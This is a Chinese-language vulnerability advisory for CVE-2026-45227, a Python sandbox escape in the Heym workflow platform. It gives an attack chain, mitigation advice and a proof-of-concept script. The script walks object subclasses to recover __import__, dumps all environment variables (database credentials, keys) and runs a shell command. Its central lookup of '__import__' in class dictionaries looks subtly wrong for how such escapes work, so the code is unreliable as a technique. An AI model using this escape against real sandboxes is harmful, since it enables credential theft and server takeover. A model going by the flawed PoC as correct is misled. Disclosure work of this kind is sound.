IPBUF安全漏洞报告
English
CVE-2026-45227 CVSS 8.8 高危

CVE-2026-45227 Heym沙箱逃逸漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-45227
漏洞类型
沙箱逃逸, 远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Heym

相关标签

Sandbox EscapeRCEPython IntrospectionHeymCVE-2026-45227

漏洞概述

Heym 0.0.21之前的版本在自定义Python工具执行器中存在沙箱逃逸漏洞。该漏洞允许经过身份验证的工作流作者利用对象图内省原语绕过沙箱限制。攻击者可以使用Python内省技术恢复不受限制的__import__函数,进而导入被阻止的模块(如os和subprocess)。此外,攻击者还能访问继承的后端环境变量,获取数据库凭证和加密密钥。最终,攻击者能够以后端服务用户的身份在主机上执行任意命令。

技术细节

该漏洞的根本原因在于Heym未能正确限制Python代码的对象图内省能力。在Python沙箱环境中,通常需要禁用`__import__`等危险内置函数。然而,攻击者可以通过访问对象的`__class__`、`__bases__`和`__subclasses__`等属性遍历Python运行时的对象图。通过分析这些子类,攻击者可以寻找到包含原始`__import__`函数或已加载的危险模块(如os)的引用。一旦恢复`__import__`,攻击者即可突破模块导入限制,加载`subprocess`模块执行系统命令。同时,由于后端环境变量被继承,攻击者可以通过`os.environ`读取敏感配置信息,实现完全接管服务器权限。

攻击链分析

STEP 1
身份认证
攻击者需要拥有Heym平台的低权限账户,能够创建或编辑工作流。
STEP 2
构造恶意代码
在工作流的Python工具中编写利用对象图内省技术的恶意脚本。
STEP 3
绕过沙箱限制
执行脚本,通过遍历对象子类恢复原始的__import__内置函数。
STEP 4
导入危险模块
利用恢复的__import__函数加载os和subprocess等原本被禁止的模块。
STEP 5
执行攻击
读取环境变量获取凭证,并执行任意系统命令,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-45227: Heym Sandbox Escape # This demonstrates recovering __import__ via introspection to execute commands def sandbox_escape(): # Start with a base object like a tuple or list base = ().__class__.__bases__[0] # Iterate through subclasses to find a reference to __import__ for cls in base.__subclasses__(): try: # Check if '__import__' is in the class dictionary or accessible if "__import__" in cls.__dict__: # Recover the unrestricted __import__ function import_func = cls.__dict__["__import__"] # Import blocked modules (e.g., os, subprocess) os_mod = import_func("os") subprocess_mod = import_func("subprocess") # Access sensitive environment variables print("[+] Leaked Environment Variables:") for k, v in os_mod.environ.items(): print(f"{k}: {v}") # Execute arbitrary command result = subprocess_mod.check_output("id", shell=True) print(f"[+] Executed Command Output: {result.decode()}") return True except Exception: continue return False if __name__ == "__main__": sandbox_escape()

影响范围

Heym < 0.0.21

防御指南

临时缓解措施
建议立即将Heym升级到0.0.21或更高版本以修复此漏洞。如果暂时无法升级,应严格限制对自定义Python工具执行器的访问权限,仅授予必要的可信用户。同时,检查并移除后端服务环境中不必要的敏感环境变量,或使用密钥管理服务替代环境变量存储凭证,以防泄露。

参考链接